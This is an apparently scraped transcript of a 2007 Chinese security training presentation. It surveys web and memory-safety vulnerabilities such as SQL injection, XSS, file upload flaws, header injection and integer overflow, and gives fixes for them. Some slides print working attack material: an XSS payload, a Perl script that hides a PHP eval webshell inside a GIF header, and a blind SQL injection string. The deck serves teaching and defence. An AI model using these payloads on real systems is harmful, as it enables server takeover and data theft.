1 / 40

常见漏洞类型与分析

常见漏洞类型与分析. 信息安全部 吴翰清 2007-06-5. 提纲. 概述 头号大敌: SQL Injection 被忽视的巨大威胁:跨站脚本漏洞 文件上传,一击必杀 权限问题 盲区:来自 HTTP 头的安全隐患 与 Web Server 结合产生的漏洞 什么样的漏洞,才叫漏洞?? 十年的来的顽症 --- 缓冲区溢出 攻与防 --- 操作系统针对缓冲区溢出的保护 漏洞挖掘方法简介. 概述. Web 安全是互联网安全的重中之重 Web 安全的特点 与实现的语言有密切的关系( ASP/PHP/JSP ) 与数据库有紧密联系.

nakia
Download Presentation

常见漏洞类型与分析

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. 常见漏洞类型与分析 信息安全部 吴翰清 2007-06-5

  2. 提纲 • 概述 • 头号大敌:SQL Injection • 被忽视的巨大威胁:跨站脚本漏洞 • 文件上传,一击必杀 • 权限问题 • 盲区:来自HTTP头的安全隐患 • 与Web Server结合产生的漏洞 • 什么样的漏洞,才叫漏洞?? • 十年的来的顽症---缓冲区溢出 • 攻与防---操作系统针对缓冲区溢出的保护 • 漏洞挖掘方法简介

  3. 概述 • Web安全是互联网安全的重中之重 • Web安全的特点 • 与实现的语言有密切的关系(ASP/PHP/JSP) • 与数据库有紧密联系

  4. 头号大敌:SQL Injection • 定义: • 由于程序中对用户输入检查不严格,用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。 • SQL Injection的本质: • 对于输入检查不充分,导致SQL语句将用户提交的非法数据当作语句的一部分来执行。

  5. 示例: String user = request.getParameter("username"); String pass = request.getParameter("password"); String query = "SELECT id FROM users WHERE username="+user+" AND password="+pass; Statement stmt = con.createStatement(query); ResultSet rs = con.executeQuery(query); if (rs.next()) { // 登录成功 int id = rs.getInt(1); ... } else { // 登录失败 ... }

  6. 正确的编程方法: String user = request.getParameter("username"); String pass = request.getParameter("password"); String query = "SELECT id FROM users WHERE username=? AND password=?"; PreparedStatement stmt = con.prepareStatement(query); stmt.setString(1, user); stmt.setString(2, pass); ResultSet rs = stmt.executeQuery();

  7. 被忽视的巨大威胁:跨站脚本漏洞 • XSS(Cross Site Script) • XST(HTML Hijacking)

  8. 浏览器客户端的攻击 • 常常与XSS相结合 • <iframe src=http://xxx.com/test/ width=0 height=0> </iframe>

  9. 国际站XST窃取任意用户密码 • 在发布产品页面构造恶意html语句

  10. 发布后,如果某个用户查看了此产品,则会自动修改该用户的注册邮箱,或者其他member信息!发布后,如果某个用户查看了此产品,则会自动修改该用户的注册邮箱,或者其他member信息!

  11. Image Upload XSS • an example of something you might test for:<IMG SRC="$filename">So you upload this file:http://ha.ckers.org/image-xss/"onerror="alert('XSS')"a=".jpgThis ends up making the page look like:<IMG SRC=""onerror="alert('XSS')"a=".jpg">

  12. 解决方案 • 输出时使用htmlencode 转义字符,使得成为纯文本输出 • 输入处做filter,过滤可执行的html代码

  13. 文件上传,一击必杀 • 文件上传漏洞: • 对可上传的文件类型控制不严格,导致可以上传可执行的脚本,从而导致服务器被控制。

  14. FCKEditor文件上传漏洞 • FCKEditor是一款有多个语言版本的(asp,cgi,aspx,php,cfm,...)的在线编辑的class,很多web系统都使用了这个class(包括taobao、中文站等许多地方)。

  15. \editor\filemanager\browser\default\connectors\php\config.php\editor\filemanager\browser\default\connectors\php\config.php 行35-36: $Config['AllowedExtensions']['File'] = array() ; //允许的上穿类型$Config['DeniedExtensions']['File'] = array('php','php3','php5','phtml','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','dll','reg','cgi') ;//禁止上传的类型

  16. \editor\filemanager\browser\default\connectors\php\commands.php\editor\filemanager\browser\default\connectors\php\commands.php function FileUpload( $resourceType, $currentFolder ){         .......................   $sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;  $sExtension = strtolower( $sExtension ) ; //得到文件的后缀(以.为标志取最后1个) global $Config ;   $arAllowed = $Config['AllowedExtensions'][$resourceType] ;  $arDenied = $Config['DeniedExtensions'][$resourceType] ;   if ( ( count($arAllowed) == 0 || in_array( $sExtension, $arAllowed ) ) && ( count($arDenied) == 0 || !in_array( $sExtension, $arDenied ) ) ) //判断合法后缀{   $iCounter = 0 ;    while ( true )   {    $sFilePath = $sServerDir . $sFileName ;     .......................                             move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;//上传 注意它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension为后缀//导致在win下在上传文件后面加个.来突破[未测试][3]                            ........................}

  17. BlackList or WhiteList ? 如果我们把AllowedExtensions/DeniedExtensions的设置"反"一下: $Config[‘AllowedExtensions’][‘File’] = array(‘rar’,‘zip’) ; //允许的上穿类型$Config[‘DeniedExtensions’][‘File’] = array() ;//禁止上传的类型 把设置DeniedExtensions改为设置AllowedExtensions,就不会出现上面的漏洞了,不过这样在某些情况下,照样可以突破,问题还是出在这里: move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ; //上传 注意它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension为后缀 在apache下,因为"apache文件名解析缺陷漏洞"[3]而出现漏洞

  18. Feedback.alisoft.com文件上传漏洞

  19. Getimagesize() bypass • 先看看gif文件头:00000000h: 47 49 46 38 39 61   AB 02      E5 03     B3 00 00 00 80 00 ; GIF89a???..€.            G  I  F  8  9  a  $size['0'] $size['1']$size['0']x$size['1'] = [AB 02]683 x [E5 03]997

  20. 构造如下perl • #!/usr/bin/perl#The Script could pass getimagesize()#gif size: 99x98 pixels$gifhead="\x47\x49\x46\x38\x39\x61". #GIF89a"\x63\x00".#99"\x62\x00";#98$phpcode="\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x63\x5d\x29\x3f\x3e";#<?php @eval ($_POST[c])?>print $gifhead.$phpcode;

  21. 文件上传漏洞的解决办法 • 使用正确的函数 • 白名单与黑名单 • 禁止上传目录有执行脚本的权限 • 不要在url中显示上传文件的相对路径

  22. 权限问题 • Auth-Bypass • 越权访问

  23. Elearning系统不经授权充值问题

  24. 其中 userid; password; ROLE; ORGID; SITEID; 的新值为无效构造值。

  25. 正确的做法 • 检查每个操作是否进行授权,授权给谁

  26. 盲区:来自HTTP头的安全隐患 • HTTP头的注射(Cookie等)

  27. Discuz 4.x/5.0.0.1 Sql Injection • $http_query = "' or ascii(substring((".$sql."),".$s_num.",1))".$ccheck." /*"; • ….. • 'X-Forwarded-For'=>$http_query

  28. 正确的做法 • 不要信任来自http头中的取的字段

  29. 与Web Server结合产生的漏洞 • Apache文件名解析漏洞 • IIS PUT上传漏洞

  30. 暴力破解 • 验证码也可以被暴力破解

  31. 暴力破解帐户锁定 • 对暴力破解尝试进行帐户锁定 • 风险:可能会造成恶意尝试锁定帐户

  32. Apache 文件名解析漏洞 • Phpshell.php.rar.rar.rar.rar.rar.rar.rar.rar.rar • Apache只会解析第一个 “ . ”

  33. IIS PUT上传漏洞 • PUT /alert.txt HTTP/1.1 • Host: • Content-Length: 69 • HTTP/1.1 100 Continue • There are some secure problems in you system, please fix it. • ZwelL • HTTP/1.1 200 OK • ……

  34. 什么样的漏洞,才叫漏洞?? • Web迅雷activex远程执行漏洞 • WEB讯雷组件的名称:ThunderServer.webThunder.1,可以采用JS代码ActiveXObject("ThunderServer.webThunder.1");来激活讯雷的组件。其中的关键函数包括:SetBrowserWindowData:新建浏览器窗口。SetConfig:设置WEB讯雷。HideBrowserWindow:隐藏浏览器。AddTask:添加下载任务。SearchTask:搜索任务,得到任务ID,文件下载状态等详情。OpenFile:根据任务ID,打开文件。

  35. 十年的来的顽症---缓冲区溢出 • 栈溢出(控制返回地址 [ebp+4]) • 堆溢出(覆盖堆结构,2次free,覆盖堆中的指针) • 整数溢出(由于整数的解析欺骗造成的基于堆栈的溢出)

  36. 整数溢出 • bool CBlackListMessage::MatchMessage(LPCTSTR szMsg, int nLen, CString &sHint) • { • // 删除 一些 忽略的字符 • const int nOrgLen = nLen; • TCHAR szFixedBuf[513]; • TCHAR *pCharBuf = NULL; • if(nOrgLen > 512) /* [1] */ • pCharBuf = new TCHAR[nOrgLen + 1]; /* [2] */ • else • pCharBuf = szFixedBuf; • lstrcpyn(pCharBuf, szMsg, nOrgLen+1); /* [3] */

  37. 在这里当 nLen由外界传入,这里是取的消息的文字长度,是可信的,这里姑且不讨论是否可以利用,先来看这个编程的问题。 • nLen是一个int型,当nLen的值为0x80000000 时,进行比较,将被解析为一个负数,从而可以绕过[1]处的判断,使得 • pCharBuf只分配了513个字节大小的内存。 • 而在之后的拷贝lstrcpyn中,会将szMsg拷贝 0x80000000+1个字符到pCharBuf中,此时的pCharBuf为只有513个字节大小的内存空间,从而会导致一个堆溢出。

  38. 攻与防---操作系统针对缓冲区溢出的保护 • 核心思想----不可执行堆栈 • Linux下的保护: Execshield, Gresecurity内核补丁 • Windows下的保护: DEP, VC7的/GS保护(防止基于堆栈的溢出), /SafeSEH保护

  39. 漏洞挖掘方法简介 • 代码审核 • Fuzzer • 动态调试(gdb,windbg,ollydbg等) • 静态分析(Ida Pro) • 2进制比较(补丁比较)

More Related